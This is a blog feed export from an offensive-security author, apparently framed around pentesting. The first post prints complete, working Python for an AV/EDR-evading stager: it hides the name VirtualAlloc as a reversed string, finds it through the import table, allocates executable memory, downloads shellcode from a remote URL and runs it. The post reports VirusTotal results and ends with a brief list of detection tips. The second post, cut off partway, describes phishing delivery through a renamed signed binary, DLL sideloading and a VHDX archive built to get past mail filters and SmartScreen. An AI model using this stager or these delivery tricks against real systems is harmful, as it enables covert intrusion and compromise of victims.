<p>The first part of our code constructs <code class="language-plaintext highlighter-rouge">python314.dll</code> (or whatever version you are running) without hardcoding it. <code class="language-plaintext highlighter-rouge">dll_path</code> points to the on-disk copy needed for PE parsing. This is also nice because it is version-agnostic and works across all Python releases without modification.</p>

<blockquote>
  <p>Phase 2 — We get the live in-memory base address of our <code class="language-plaintext highlighter-rouge">python314.dll</code></p>
</blockquote>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">k32</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">windll</span><span class="p">.</span><span class="n">kernel32</span>
<span class="n">k32</span><span class="p">.</span><span class="n">GetModuleHandleW</span><span class="p">.</span><span class="n">restype</span>  <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span>
<span class="n">k32</span><span class="p">.</span><span class="n">GetModuleHandleW</span><span class="p">.</span><span class="n">argtypes</span> <span class="o">=</span> <span class="p">[</span><span class="n">ctypes</span><span class="p">.</span><span class="n">c_wchar_p</span><span class="p">]</span>
<span class="n">base</span> <span class="o">=</span> <span class="n">k32</span><span class="p">.</span><span class="nc">GetModuleHandleW</span><span class="p">(</span><span class="n">dll_name</span><span class="p">)</span>
</code></pre></div></div>

<p>We explicitly set the return type to <code class="language-plaintext highlighter-rouge">c_void_p</code> so ctypes doesn’t truncate the 64-bit address. <code class="language-plaintext highlighter-rouge">GetModuleHandleW</code> returns the base address of our already-loaded module.  In other words: no disk load, no new mapping. Since Python is running, python314.dll is guaranteed to be resident in memory.</p>

<blockquote>
  <p>Phase 3 — We need to parse the on-disk PE structure</p>
</blockquote>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">pe</span> <span class="o">=</span> <span class="n">pefile</span><span class="p">.</span><span class="nc">PE</span><span class="p">(</span><span class="n">dll_path</span><span class="p">,</span> <span class="n">fast_load</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>
<span class="n">pe</span><span class="p">.</span><span class="nf">parse_data_directories</span><span class="p">()</span>
</code></pre></div></div>

<p>We will read the on-disk copy of <code class="language-plaintext highlighter-rouge">python314.dll</code> purely for its layout.  This includes section headers, import directory offsets, and ImageBase.</p>

<p>fast_load=False + parse_data_directories() ensures the full import table is available.</p>

<blockquote>
  <p>Phase 4 — Walk the IAT and resolve the live pointer</p>
</blockquote>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">memprep</span> <span class="o">=</span> <span class="sa">b</span><span class="sh">"</span><span class="s">collAlautriV</span><span class="sh">"</span>   <span class="c1"># "VirtualAlloc" reversed
</span><span class="k">for</span> <span class="n">entry</span> <span class="ow">in</span> <span class="n">pe</span><span class="p">.</span><span class="n">DIRECTORY_ENTRY_IMPORT</span><span class="p">:</span>
    <span class="k">if</span> <span class="sa">b</span><span class="sh">'</span><span class="s">kernel32</span><span class="sh">'</span> <span class="ow">in</span> <span class="n">entry</span><span class="p">.</span><span class="n">dll</span><span class="p">.</span><span class="nf">lower</span><span class="p">():</span>
        <span class="k">for</span> <span class="n">imp</span> <span class="ow">in</span> <span class="n">entry</span><span class="p">.</span><span class="n">imports</span><span class="p">:</span>
            <span class="k">if</span> <span class="n">imp</span><span class="p">.</span><span class="n">name</span> <span class="o">==</span> <span class="n">memprep</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]:</span>
                <span class="n">slot</span>  <span class="o">=</span> <span class="n">base</span> <span class="o">+</span> <span class="n">imp</span><span class="p">.</span><span class="n">address</span> <span class="o">-</span> <span class="n">pe</span><span class="p">.</span><span class="n">OPTIONAL_HEADER</span><span class="p">.</span><span class="n">ImageBase</span>
                <span class="n">va_va</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">c_uint64</span><span class="p">.</span><span class="nf">from_address</span><span class="p">(</span><span class="n">slot</span><span class="p">).</span><span class="n">value</span>
</code></pre></div></div>

<h2 id="part-4---cast-and-execute">Part 4 - Cast and Execute!</h2>

<p>Lastly, this code snippet filters to kernel32.dll imports only.  We then match against b”VirtualAlloc”, without that string ever appearing in plaintext.</p>

<p><code class="language-plaintext highlighter-rouge">imp.address</code> is the on-disk VA of the IAT slot.  Subtracting <code class="language-plaintext highlighter-rouge">pe.OPTIONAL_HEADER.ImageBase</code> converts it to an RVA.  Adding base converts the RVA to the actual runtime address of the slot.</p>

<p>and Finally!  <code class="language-plaintext highlighter-rouge">c_uint64.from_address(slot).value</code> dereferences that previously mentioned slot.  We then read the 8-byte pointer the loader wrote there at startup, giving us the true runtime address of VirtualAlloc 😸  Phew!  Well, there you have it.</p>

<p>The resulting <code class="language-plaintext highlighter-rouge">va_va</code> is the live, post-ASLR, post-loader-resolution address of <code class="language-plaintext highlighter-rouge">VirtualAlloc</code>, ready to be cast to a callable.  Let’s do that now!</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">MemoryAllocator</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="nc">WINFUNCTYPE</span><span class="p">(</span>
    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">,</span>
    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">,</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">c_size_t</span><span class="p">,</span>
    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_uint32</span><span class="p">,</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">c_uint32</span>
<span class="p">)(</span><span class="n">va_va</span><span class="p">)</span> <span class="c1"># &lt;--here's where we cast it
</span>
<span class="n">page</span> <span class="o">=</span> <span class="nc">MemoryAllocator</span><span class="p">(</span><span class="bp">None</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">,</span> <span class="mh">0x3000</span><span class="p">,</span> <span class="mh">0x40</span><span class="p">)</span>
<span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] RWX page @ 0x</span><span class="si">{</span><span class="n">page</span><span class="si">:</span><span class="mi">016</span><span class="n">x</span><span class="si">}</span><span class="sh">"</span> <span class="k">if</span> <span class="n">page</span> <span class="k">else</span> <span class="sa">f</span><span class="sh">"</span><span class="s">[-] failed (GLE=</span><span class="si">{</span><span class="n">k32</span><span class="p">.</span><span class="nc">GetLastError</span><span class="p">()</span><span class="si">}</span><span class="s">)</span><span class="sh">"</span><span class="p">)</span>

<span class="k">if</span> <span class="n">page</span><span class="p">:</span>
    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[+] allocated!</span><span class="sh">"</span><span class="p">)</span>
</code></pre></div></div>

<p>Finally, call the copy and execute functions:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># ── execution ─────────────────────────────────────────────────────────────────────
</span><span class="n">scode</span> <span class="o">=</span> <span class="nf">dwnlod_scode</span><span class="p">(</span><span class="n">SCODE_U</span><span class="p">)</span>
<span class="k">if</span> <span class="n">scode</span><span class="p">:</span>
    <span class="c1"># page = your VAlloc result from earlier
</span>    <span class="k">if</span> <span class="nf">copy_to_page</span><span class="p">(</span><span class="n">page</span><span class="p">,</span> <span class="n">scode</span><span class="p">):</span>
        <span class="nf">exec_page</span><span class="p">(</span><span class="n">page</span><span class="p">)</span>
        
    <span class="c1"># ── cleanup (only reached if shellcode returns) ───────────────────────────────
</span>    <span class="n">k32</span><span class="p">.</span><span class="nc">VirtualFree</span><span class="p">(</span><span class="n">ctypes</span><span class="p">.</span><span class="nf">c_void_p</span><span class="p">(</span><span class="n">page</span><span class="p">),</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0x8000</span><span class="p">)</span>
    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[*] freed</span><span class="sh">"</span><span class="p">)</span>
</code></pre></div></div>

<p><strong>Here’s a sneak preview of the finished product:</strong></p>

<p><img width="732" height="232" alt="image" src="https://github.com/user-attachments/assets/0cfcda18-86f3-47a5-91b7-65f911c16b34" /></p>

<p><img width="673" height="228" alt="image" src="https://github.com/user-attachments/assets/0535905c-9521-4137-8cb8-918135adb93f" /></p>

<p><strong>VirusTotal Results 💊</strong></p>

<p><strong>Hash: 6c2a91f23724a8605312bff1d629f92a7a88e78d947e79da5e403338f4eefeb6</strong></p>

<p><a href="https://www.virustotal.com/gui/file/6c2a91f23724a8605312bff1d629f92a7a88e78d947e79da5e403338f4eefeb6">https://www.virustotal.com/gui/file/6c2a91f23724a8605312bff1d629f92a7a88e78d947e79da5e403338f4eefeb6</a></p>

<p><img width="1717" height="765" alt="image" src="https://github.com/user-attachments/assets/8cd1a555-aa50-4539-bcde-ca5bc1ee5506" /></p>

<blockquote>
  <p><strong>And the full source code for FUD variant #2:</strong></p>
</blockquote>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#6c2a91f23724a8605312bff1d629f92a7a88e78d947e79da5e403338f4eefeb6
</span>
<span class="kn">import</span> <span class="n">ctypes</span><span class="p">,</span> <span class="n">sys</span><span class="p">,</span> <span class="n">os</span>
<span class="kn">import</span> <span class="n">requests</span>

<span class="k">try</span><span class="p">:</span>
    <span class="kn">import</span> <span class="n">pefile</span>
<span class="k">except</span> <span class="nb">ImportError</span><span class="p">:</span>
    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">pip install pefile</span><span class="sh">"</span><span class="p">);</span> <span class="n">sys</span><span class="p">.</span><span class="nf">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>

<span class="n">SCODE_U</span> <span class="o">=</span> <span class="sh">"</span><span class="s">onyd.ger/niam/sdaeh/sfer/radarehtrednu/m3tsyst3g/moc.tnetnocresubuhtig.war//:sptth</span><span class="sh">"</span>
<span class="n">SCODE_U</span> <span class="o">=</span> <span class="n">SCODE_U</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>

<span class="k">def</span> <span class="nf">dwnlod_scode</span><span class="p">(</span><span class="n">url</span><span class="p">):</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">stream</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
        <span class="n">response</span><span class="p">.</span><span class="nf">raise_for_status</span><span class="p">()</span>
        <span class="n">shel_ly</span> <span class="o">=</span> <span class="sa">b</span><span class="sh">''</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">response</span><span class="p">.</span><span class="nf">iter_content</span><span class="p">(</span><span class="n">chunk_size</span><span class="o">=</span><span class="mi">4096</span><span class="p">))</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] Downloaded </span><span class="si">{</span><span class="nf">len</span><span class="p">(</span><span class="n">shel_ly</span><span class="p">)</span><span class="si">}</span><span class="s"> bytes</span><span class="sh">"</span><span class="p">)</span>
        <span class="k">return</span> <span class="n">shel_ly</span>
    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[-] Download failed: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="sh">"</span><span class="p">);</span> <span class="k">return</span> <span class="bp">None</span>

<span class="k">def</span> <span class="nf">copy_to_page</span><span class="p">(</span><span class="n">page</span><span class="p">:</span> <span class="nb">int</span><span class="p">,</span> <span class="n">scode</span><span class="p">:</span> <span class="nb">bytes</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bool</span><span class="p">:</span>
    <span class="sh">"""</span><span class="s">Copy scode bytes into the RWX page via ctypes.memmove.</span><span class="sh">"""</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">page</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[-] Invalid page address</span><span class="sh">"</span><span class="p">);</span> <span class="k">return</span> <span class="bp">False</span>
    <span class="k">if</span> <span class="nf">len</span><span class="p">(</span><span class="n">scode</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mh">0x1000</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[-] Scode too large (</span><span class="si">{</span><span class="nf">len</span><span class="p">(</span><span class="n">scode</span><span class="p">)</span><span class="si">}</span><span class="s"> &gt; 0x1000)</span><span class="sh">"</span><span class="p">);</span> <span class="k">return</span> <span class="bp">False</span>

    <span class="c1"># memmove(dst, src, count)
</span>    <span class="c1"># dst = raw integer address of our RWX page
</span>    <span class="c1"># src = scode bytes (ctypes accepts bytes directly as src)
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="nf">memmove</span><span class="p">(</span><span class="n">page</span><span class="p">,</span> <span class="n">scode</span><span class="p">,</span> <span class="nf">len</span><span class="p">(</span><span class="n">scode</span><span class="p">))</span>
    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] Copied </span><span class="si">{</span><span class="nf">len</span><span class="p">(</span><span class="n">scode</span><span class="p">)</span><span class="si">}</span><span class="s"> bytes → 0x</span><span class="si">{</span><span class="n">page</span><span class="si">:</span><span class="mi">016</span><span class="n">x</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
    <span class="k">return</span> <span class="bp">True</span>

<span class="k">def</span> <span class="nf">exec_page</span><span class="p">(</span><span class="n">page</span><span class="p">:</span> <span class="nb">int</span><span class="p">):</span>
    <span class="sh">"""</span><span class="s">Cast the page to a void(*)(void) and call it.</span><span class="sh">"""</span>
    <span class="n">thunk</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="nc">WINFUNCTYPE</span><span class="p">(</span><span class="bp">None</span><span class="p">)(</span><span class="n">page</span><span class="p">)</span>
    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] Executing scode @ 0x</span><span class="si">{</span><span class="n">page</span><span class="si">:</span><span class="mi">016</span><span class="n">x</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
    <span class="nf">thunk</span><span class="p">()</span>

<span class="n">ver</span>      <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">version_info</span>
<span class="n">dll_name</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">"</span><span class="s">python</span><span class="si">{</span><span class="n">ver</span><span class="p">.</span><span class="n">major</span><span class="si">}{</span><span class="n">ver</span><span class="p">.</span><span class="n">minor</span><span class="si">}</span><span class="s">.dll</span><span class="sh">"</span>
<span class="n">dll_path</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="nf">dirname</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">executable</span><span class="p">),</span> <span class="n">dll_name</span><span class="p">)</span>

<span class="n">k32</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">windll</span><span class="p">.</span><span class="n">kernel32</span>
<span class="n">k32</span><span class="p">.</span><span class="n">GetModuleHandleW</span><span class="p">.</span><span class="n">restype</span>  <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span>     
<span class="n">k32</span><span class="p">.</span><span class="n">GetModuleHandleW</span><span class="p">.</span><span class="n">argtypes</span> <span class="o">=</span> <span class="p">[</span><span class="n">ctypes</span><span class="p">.</span><span class="n">c_wchar_p</span><span class="p">]</span>
<span class="n">base</span> <span class="o">=</span> <span class="n">k32</span><span class="p">.</span><span class="nc">GetModuleHandleW</span><span class="p">(</span><span class="n">dll_name</span><span class="p">)</span>
<span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[*] </span><span class="si">{</span><span class="n">dll_name</span><span class="si">}</span><span class="s"> @ 0x</span><span class="si">{</span><span class="n">base</span><span class="si">:</span><span class="mi">016</span><span class="n">x</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>

<span class="n">pe</span> <span class="o">=</span> <span class="n">pefile</span><span class="p">.</span><span class="nc">PE</span><span class="p">(</span><span class="n">dll_path</span><span class="p">,</span> <span class="n">fast_load</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>
<span class="n">pe</span><span class="p">.</span><span class="nf">parse_data_directories</span><span class="p">()</span>

<span class="n">memprep</span><span class="o">=</span><span class="sa">b</span><span class="sh">"</span><span class="s">collAlautriV</span><span class="sh">"</span>
<span class="n">va_va</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">for</span> <span class="n">entry</span> <span class="ow">in</span> <span class="n">pe</span><span class="p">.</span><span class="n">DIRECTORY_ENTRY_IMPORT</span><span class="p">:</span>
    <span class="k">if</span> <span class="sa">b</span><span class="sh">'</span><span class="s">kernel32</span><span class="sh">'</span> <span class="ow">in</span> <span class="n">entry</span><span class="p">.</span><span class="n">dll</span><span class="p">.</span><span class="nf">lower</span><span class="p">():</span>
        <span class="k">for</span> <span class="n">imp</span> <span class="ow">in</span> <span class="n">entry</span><span class="p">.</span><span class="n">imports</span><span class="p">:</span>
            <span class="k">if</span> <span class="n">imp</span><span class="p">.</span><span class="n">name</span> <span class="o">==</span> <span class="n">memprep</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]:</span>
                <span class="n">slot</span>  <span class="o">=</span> <span class="n">base</span> <span class="o">+</span> <span class="n">imp</span><span class="p">.</span><span class="n">address</span> <span class="o">-</span> <span class="n">pe</span><span class="p">.</span><span class="n">OPTIONAL_HEADER</span><span class="p">.</span><span class="n">ImageBase</span>
                <span class="n">va_va</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">c_uint64</span><span class="p">.</span><span class="nf">from_address</span><span class="p">(</span><span class="n">slot</span><span class="p">).</span><span class="n">value</span>
                <span class="k">break</span>

<span class="k">if</span> <span class="ow">not</span> <span class="n">va_va</span><span class="p">:</span>
    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[-] collAlautriV not found in IAT</span><span class="sh">"</span><span class="p">);</span> <span class="n">sys</span><span class="p">.</span><span class="nf">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] collAlautriV @ 0x</span><span class="si">{</span><span class="n">va_va</span><span class="si">:</span><span class="mi">016</span><span class="n">x</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>

<span class="n">MemoryAllocator</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="nc">WINFUNCTYPE</span><span class="p">(</span>
    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">,</span>
    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">,</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">c_size_t</span><span class="p">,</span>
    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_uint32</span><span class="p">,</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">c_uint32</span>
<span class="p">)(</span><span class="n">va_va</span><span class="p">)</span>

<span class="n">page</span> <span class="o">=</span> <span class="nc">MemoryAllocator</span><span class="p">(</span><span class="bp">None</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">,</span> <span class="mh">0x3000</span><span class="p">,</span> <span class="mh">0x40</span><span class="p">)</span>
<span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] RWX page @ 0x</span><span class="si">{</span><span class="n">page</span><span class="si">:</span><span class="mi">016</span><span class="n">x</span><span class="si">}</span><span class="sh">"</span> <span class="k">if</span> <span class="n">page</span> <span class="k">else</span> <span class="sa">f</span><span class="sh">"</span><span class="s">[-] failed (GLE=</span><span class="si">{</span><span class="n">k32</span><span class="p">.</span><span class="nc">GetLastError</span><span class="p">()</span><span class="si">}</span><span class="s">)</span><span class="sh">"</span><span class="p">)</span>

<span class="k">if</span> <span class="n">page</span><span class="p">:</span>
    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[+] allocated!</span><span class="sh">"</span><span class="p">)</span>

<span class="c1"># ── execution ─────────────────────────────────────────────────────────────────────
</span><span class="n">scode</span> <span class="o">=</span> <span class="nf">dwnlod_scode</span><span class="p">(</span><span class="n">SCODE_U</span><span class="p">)</span>
<span class="k">if</span> <span class="n">scode</span><span class="p">:</span>
    <span class="c1"># page = your VAlloc result from earlier
</span>    <span class="k">if</span> <span class="nf">copy_to_page</span><span class="p">(</span><span class="n">page</span><span class="p">,</span> <span class="n">scode</span><span class="p">):</span>
        <span class="nf">exec_page</span><span class="p">(</span><span class="n">page</span><span class="p">)</span>
        
    <span class="c1"># ── cleanup (only reached if shellcode returns) ───────────────────────────────
</span>    <span class="n">k32</span><span class="p">.</span><span class="nc">VirtualFree</span><span class="p">(</span><span class="n">ctypes</span><span class="p">.</span><span class="nf">c_void_p</span><span class="p">(</span><span class="n">page</span><span class="p">),</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0x8000</span><span class="p">)</span>
    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[*] freed</span><span class="sh">"</span><span class="p">)</span>
</code></pre></div></div>

<h2 id="bonus-content-for-members-all-membership-tiers"><strong><em>Bonus Content for Members! (All Membership Tiers)</em></strong></h2>

<p>📹 In-Depth Video/Audio Walkthrough for today’s blog post: <a href="https://ko-fi.com/s/3e9d57ce10">In-Depth Video Walkthrough</a></p>

<p>🗒️ Packaged .zip file containing portable python + Source Code to go with the Video: <a href="https://ko-fi.com/s/3e9d57ce10">Portable Python + code</a></p>

<p>🛡️ <strong>Dynamic Analysis Detection Tips</strong> 🛡️</p>

<ul>
  <li>Flag <code class="language-plaintext highlighter-rouge">python.exe</code> when allocating RWX memory at runtime.  I’d say most legitimate Python workloads almost never do this 😆</li>
  <li>ETW Microsoft-Windows-Threat-Intelligence provider alerts on ALLOCVM events with execute permissions from interpreter processes</li>
  <li>Detect execution originating from private, non-image-backed memory regions</li>
  <li>Alert on python.exe making outbound network connections followed by memory allocation and execution in the same process lifetime</li>
  <li>Monitor for python-requests User-Agent strings</li>
  <li>Flag <code class="language-plaintext highlighter-rouge">NtAllocateVirtualMemory</code> and/or <code class="language-plaintext highlighter-rouge">NtCreateThreadEx</code> calls from python interpreter processes.  Honestly, NT API usage from Python is highly anomalous</li>
  <li>Sandbox detonation of unknown .py files with full API call tracing — reversed strings unwind at runtime and become visible in dynamic traces even when invisible statically</li>
  <li>Alert on python.exe with no parent console or GUI context making network calls</li>
  <li>Detect pefile import activity at runtime.  Parsing a PE from within a running Python process is unusual behavior outside of explicit reverse engineering tooling</li>
  <li>Memory scanning on execute-permission regions mid-execution.  Shellcode signatures that evade static scanning are often detectable in-memory after decoding</li>
</ul>

<p>And that’s a wrap folks!  Thanks and see you on the next blog post!</p>

<p>~G3tSyst3m</p>

<div style="text-align: right;">
  
<b>Sponsored By:</b><br />

<img width="200" height="130" alt="image" src="https://raw.githubusercontent.com/g3tsyst3m/g3tsyst3m.github.io/refs/heads/master/assets/images/anyrun.png" />

<img width="200" height="130" alt="image" src="https://raw.githubusercontent.com/g3tsyst3m/g3tsyst3m.github.io/refs/heads/master/assets/images/vector35.png" />

</div>]]></content><author><name>R.B.C (g3tsyst3m)</name></author><category term="FUD" /><category term="Initial Access" /><category term="Python" /><category term="IAT" /><category term="download and exec" /><category term="FUD" /><category term="Stager" /><category term="Pentesting Payload" /><category term="2026" /><category term="g3tsyst3m" /><category term="Initial Foothold" /><summary type="html"><![CDATA[I have had several discussions over the years with folks on tackling EDR bypass as it pertains to fully undetected (FUD) code. In my opinion, there isn’t really a perfect silver bullet approach to tackling FUD. Especially with ML (machine learning) / AI integrated in most modern EDR solutions, you really have to adjust your approach to FUD as you go. I will say that I truly believe script interpreter type languages such as Python, Ruby, Perl, even PHP, are great candidates to meet this need. Scripting languages are not heavily scrutinized when we’re comparing with compiled (PE executable) code. Now I can already hear the disgruntled offsec folks questioning my rationale when they have tried countless times to make their powershell and javascript/vbscript code into FUD worthy code. I get it and I’m with you. It’s not a one size fits all right? Powershell, while also a script interpreter type language, has been so abused by threat actors that it’s incredibly difficult to tackle FUD due to its prolific use in malicious campaigns, but it’s certainly not impossible. Let’s get to it!]]></summary></entry><entry><title type="html">Gaining Initial Access and Outsmarting SmartScreen</title><link href="https://g3tsyst3m.com/initial%20access/Gaining-Initial-Access-and-Outsmarting-SmartScreen/" rel="alternate" type="text/html" title="Gaining Initial Access and Outsmarting SmartScreen" /><published>2026-02-21T00:00:00+00:00</published><updated>2026-02-21T00:00:00+00:00</updated><id>https://g3tsyst3m.com/initial%20access/Gaining%20Initial%20Access%20and%20Outsmarting%20SmartScreen</id><content type="html" xml:base="https://g3tsyst3m.com/initial%20access/Gaining-Initial-Access-and-Outsmarting-SmartScreen/"><![CDATA[<p>I’ve had a number of people ask me what approaches I have taken to secure that initial foothold on a machine/network during a pentest engagement.  Well, the blunt and honest answer to that question is…it depends 😸  Initial access comes in many forms and depending on the type of pentest engagement, you will be afforded or NOT afforded various types of “lures” you can use to acquire that first foothold.  Most clients are open to the pentest team exhausting all their resources and offensive tooling to truly assess the client’s security controls.  If not they should be.  Because in a real world attack, you better believe the threat actor will not hold back!  In today’s post, I’ll be going over a very traditional approach to achieving initial access using email as our attack vector of choice.  I’ll go over various ways to send the email (gui and non-gui) and using attachments versus links.  I’ll also explain how to contend with MOTW (Mark of the Web) and SmartScreen security restrictions on your downloaded payloads for the modern Windows 11 environment.</p>

<p>Speaking of MOTW, <strong>Spoiler Alert</strong>: We’ll be using a cool trick I learned a while back where you use a known trusted executable to bypass MOTW and also use DLL sideloading to further amplify our evasive strategy.  Let’s do it to it!</p>

<h2 id="the-lay-of-the-land">The Lay of the Land</h2>

<p>In our scenario, let’s assume we’re only provided the company directory which includes their phone and email address.  We’re permitted to use any means necessary of compromising a machine and so forth, but the information we’re starting with is limited.  Like I mentioned earlier, I’ll be resorting to email for our attack vector to work toward our goal of initial access/initial foothold into the organization.  I could go the whole social engineering route and text/call someone at the company, but that won’t be a part of this exercise 😼  Let me give you a tour of our toolkit arsenal.</p>

<h2 id="using-gmails-web-frontend-and-testing-attachment-types">Using Gmail’s Web Frontend and Testing Attachment Types</h2>

<blockquote>
  <p><strong>Test attachment #1: .zip attachment with 1 exectuble and 1 DLL inside</strong></p>
</blockquote>

<p>Gmail is <strong>VERY</strong> tempermental with attachments, and rightly so.  Threat actors have successfully leveraged email attachments as the primary vehicle for payload transport to the victim for years.  So let’s see what we’re up against.  We will try a basic <strong>.zip</strong> attachment with an executable and <strong>DLL</strong> file.  The executable is a digitally signed Microsoft executable (<code class="language-plaintext highlighter-rouge">ApplicationFrameHost.exe</code> just renamed by me to something else) and the DLL is a DLL we will be sideloading later. Mwuahahahhhahha!  But here’s the deal, the executable is literally the same as the one in <strong>System32</strong>.  I just renamed it.  let’s see what happens:</p>

<p><img width="749" height="278" alt="image" src="https://github.com/user-attachments/assets/3d179766-3872-48c7-9cf9-638c71964a69" /></p>

<p><img width="765" height="41" alt="image" src="https://github.com/user-attachments/assets/aac87a8a-b2ff-4e24-b76e-bce0feff8a8b" /></p>

<p><img width="1610" height="762" alt="image" src="https://github.com/user-attachments/assets/983a29fd-5676-4506-9f33-cd69e66ff395" /></p>

<p><img width="685" height="630" alt="image" src="https://github.com/user-attachments/assets/3337fe7b-2f5f-4196-abae-a0b6fcb03487" /></p>

<p>Okay so as you likely already have surmised, we failed to get beyond Gmail’s initial security filters.</p>

<p><strong>Spoiler alert…again 😸</strong>: It’s largely due to the executable.  It doesn’t matter what executable we use, signed, unsigned, zipped, not zipped, you name it.  It will likely get flagged.</p>

<p>You may also think,”<strong>But wait, why not use Proton mail to send it instead?  Or some other email client less well known, etc?</strong>”  Sure.  You absolutely can, but then you run into another issue.  The receiving user’s email client will also scrutinize the attachment to see if it checks out.  So for all intents and purposes, let’s just go off the assumption that if it works in gmail and permits us to upload it, then the receiving client’s email security will also likely let it pass through.  In my case, I’ll be sending from Gmail to my Outlook account.</p>

<blockquote>
  <p><strong>Test attachment #2: .zip attachment that includes a VHDX (Hard Disk Image File) with the exact same contents (I’ll show you how to generate this shortly I promise 😸)</strong></p>
</blockquote>

<p><img width="866" height="77" alt="image" src="https://github.com/user-attachments/assets/7a151013-b7cf-4373-bd7f-0b300ad990cd" /></p>

<p>Notice the file size!  Pretty large huh?  We can get around that by compressing it into a <strong>.zip</strong> file which we had already planned to do anyways!</p>

<p>Here’s inside the <strong>zip</strong> file:</p>

<p><img width="932" height="227" alt="image" src="https://github.com/user-attachments/assets/641e6fc7-b0ec-4a5a-b488-94d72e12d98e" /></p>

<p>And now going inside the <strong>VHDX</strong> file:</p>

<p><img width="780" height="246" alt="image" src="https://github.com/user-attachments/assets/c03d0ab6-9288-4a25-8e3c-0fb3cec6471b" /></p>

<p>Double clicking on the <strong>VHDX</strong> file will also treat this file as a <code class="language-plaintext highlighter-rouge">mountable drive</code>.</p>

<p><img width="677" height="360" alt="image" src="https://github.com/user-attachments/assets/f38cf05e-5b15-496a-9ada-d8c75ced27c1" /></p>

<p>Now the moment we’ve all been waiting for…uploading it to our email to see if it is accepted or flagged:</p>

<p><img width="675" height="631" alt="image" src="https://github.com/user-attachments/assets/95828dc3-5689-4782-a830-cc89d1394620" /></p>

<p><strong>AND…………………….BINGO!!!!</strong></p>

